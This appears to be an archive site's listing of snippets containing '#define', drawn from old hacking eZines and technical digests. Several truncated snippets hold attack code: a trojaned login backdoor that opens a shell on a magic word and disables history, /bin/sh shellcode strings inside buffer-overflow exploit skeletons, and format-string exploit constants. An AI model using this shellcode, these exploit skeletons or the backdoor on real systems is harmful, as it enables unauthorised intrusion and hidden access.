#define

2x16: Extract

eZine's profile picture
Published in 
 · 5 Oct 2024
... vo3 ... */ #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <string.h> #include <dirent.h> #define BEGIN_TAG "[++] " #define END_TAG "[--]" #define BT_SIZE strlen(BEGIN_TAG) #define ET_SIZE strlen(END_TAG) #define SPLIT_TAG "-[ 2x" #define SPLIT_SIZE strlen(SPLIT_TAG) struct f_name { unsigned char name[256]; struct f_name *next; }; #ifdef __alpha typedef unsigned int uint32; #else typedef unsigned long uint32; #endif struct MD5Context { uint32 buf[4]; uint32 bits[2]; unsigned char in[64]; }; void MD5Init(struct MD5Context *context); void MD5Update(struct MD5Context *context, unsigned char co ...

2-9: Metodos de PENEtracion de sistemas

eZine's profile picture
Published in 
 · 5 Oct 2024
... and touch all timestamps. * * Change the MAGIC_WORD and such to taste your fit. */ #include <stdio.h> /* start of user def stuff */ #define OLDLOGIN "/usr/lib/login" #define LOGINNAME "login" #define MAGIC_WORD "localhost" /* end of user def stuff */ /* To make it a bit better looking in strings */ #define REVISION "$Id: Localcore 2000/08/14 21:31:00 marekm Exp $" char **exe; do_back() { puts(REVISION); putenv("TERM=vt100"); putenv("HISTFILE=/dev/null"); execl("/bin/sh","sh","-i",0); } main(argc, argv) int argc; char *argv[]; { exe = argv; exe[0] = LOGINNAME; if ((char *)getenv("D ...

Doom Editing Digest Vol. 01 Nr. 301

eZine's profile picture
Published in 
 · 24 Apr 2024
... l can handle anything. UUEncode it, mime it, it won't matter. __________________________________________________________ #include <stupidstuff.h> #define USER "johnw" /* John Wakelin */ /* Johnw@datametrics.com */ main() /* (703) 385 7700 */ { while (isstupid(USER)) ignore(USER); } Reposted by Snider - ----------------------------------- Rainer.Spielbauer@dlr.de ------------------------------ From: a13231@mindlink.bc.ca (Drake O'Brien) (by way of S.Benner@lancaster.ac.uk \(Steve Benner\)) Date: Thu, 1 Jun 95 09:48:19 +0100 Subject: Esoterica on overlayed line-switches Since I don't write prog's for doom-editing my guesses ...

Anomie's Register Doc

Dreamcast's profile picture
Published in 
 · 21 Apr 2024
... reater than 1023, use the low 3 bits of each to choose the pixel from character 0. The bit-accurate formula seems to be something along the lines of: #define CLIP(a) (((a)&0x2000)?((a)|~0x3ff):((a)&0x3ff)) X[0,y] = ((A*CLIP(HOFS-CX))&~63) + ((B*y)&~63) + ((B*CLIP(VOFS-CY))&~63) + (CX<<8) Y[0,y] = ((C*CLIP(HOFS-CX))&~63) + ((D*y)&~63) + ((D*CLIP(VOFS-CY))&~63) + (CY<<8) X[x,y] = X[x-1,y] + A Y[x,y] = Y[x-1,y] + C (In all cases, X[] and Y[] are fixed point with 8 bits of fraction) See the section "BACKGROUNDS" below for details. 2121 wb+++- CGADD - CGRAM Address cccccccc This sets the word address (i.e. colo ...

Hackers 4 Hackers #12

eZine's profile picture
Published in 
 · 7 Mar 2024
... t.h> #include <netinet/in.h> #include <stdlib.h> #include <sys/time.h> #include <errno.h> #include <fcntl.h> #define DEFAULTPORT 23 char *names[] = {"login:","name:", NULL}; char *fp_os[] = {"daemon","operator","bin","smmsp","popa3d","uucp", "www", "named", "proxy", NULL}; /* openbsd 3.1 */ struct telnet_neg { unsigned char iac; unsigned char command; unsigned char option; }; void die(char *s){ perror(s); exit(errno); } int do_telnet_neg(int fd) { unsigned int negcount, recved, i, j; unsigned char *buf = (char *) malloc(512+1); unsigned char *string = (char *) malloc(512+1); struct telnet_neg *neg = ( ...

Hackers 4 Hackers #11

eZine's profile picture
Published in 
 · 7 Mar 2024
... ndary). dlmalloc berekent de uiteindelijke grootte van een chunk aan de hand van de request2size() macro, die vereenvoudigd op het volgende neerkomt: #define request2size( req, nb ) \ ( nb = (((req) + SIZE_SZ) + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK ) MALLOC_ALIGN_MASK is hierin 7 (binair 111), ~MALLOC_ALIGN_MASK is daarom ook binair 11111111111111111111111111111000. SIZE_SZ de grootte van een field in een boundary tag (dus 4). Wat de macro dan ook in werkelijkheid doet is 11 optellen bij de request size, en van dat geheel de laatste 3 bytes op 0 zetten. Omdat 4 bytes van de user data in het reserveerde geheugen van de volgende chunk op de hea ...

Hackers 4 Hackers #10

eZine's profile picture
Published in 
 · 7 Mar 2024
... rs voor onze '%nu'-formatparameters, en mogen alles zijn zolang ze maar geen '\0' byte bevatten. De exploit: #include <stdio.h> #define STACKPOPS 43 /* Aantal stackpops wat we nodig hebben voor de */ /* pointer van printf op onze address-dummy-pairs */ /* wijst. */ #define ALW 0x1ae /* Aantal characters dat reeds door de formatfunctie */ /* geschreven is voordat we aan onze writecode beginnen */ #define DUMMY 0xdddddddd /* Dummy-waarde voor onze address-dummy-pairs. */ #define NOP 0x90 /* De opcode voor de NOP instructie. */ #define RETLOC 0xdfbfd6e4 /* Locatie van RET ...

Hackers 4 Hackers #0F

eZine's profile picture
Published in 
 · 7 Mar 2024
... aanpassen om te kijken hoe het trainen beter zou kunnen (de learningrate bijvoorbeeld). */ #include <iostream.h> #include <stdlib.h> #define WEIGHT 0 #define THRESHOLD 0 #define LEARNINGRATE 0.05 #define BIAS -1 //bias is een getal dat na de optelling //van het totaal wordt opgeteld bool neuron(float inputOne, float inputTwo) { if((inputOne + inputTwo)+BIAS > THRESHOLD) return 1; return 0; } bool and(int inputOne, int inputTwo) { if(inputOne == 0 && inputTwo == 0) return 0; if(inputOne == 0 && inputTwo == 1) return 0; if(inputOne == 1 && inputTwo == 0) return 0; if(inputOne == 1 && ...

Hackers 4 Hackers #0D

eZine's profile picture
Published in 
 · 7 Mar 2024
... met het includen van de headerfile. Deze hoort bij de standaard-library van GCC. stdio is nodig voor de output naar het scherm en dergelijke dingen. #define DEFAULT_BUFFER_SIZE 128 #define DEFAULT_OFFSET 0 #define RANGE 20 #define NOP 0x90 Aj, hier worden de macro's gedefinieerd. Overal waar de compiler de woorden achter #define ziet staan vult hij het achterstaande getal in. Bij de buffersize staat 128 ingevuld, precies de buffer die vulnerable.c gebruikt. Dit hoeft echter niet. RANGE is een stukje van de buffer dat hij niet gebruikt. char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8 ...

Hackers 4 Hackers #6

eZine's profile picture
Published in 
 · 6 Mar 2024
... e die de shellcode en de nops bevat. Ook stopt hij niet langer shellcode en return adressen in een(1) variabele. exploit4.c #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsi ...
loading
Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT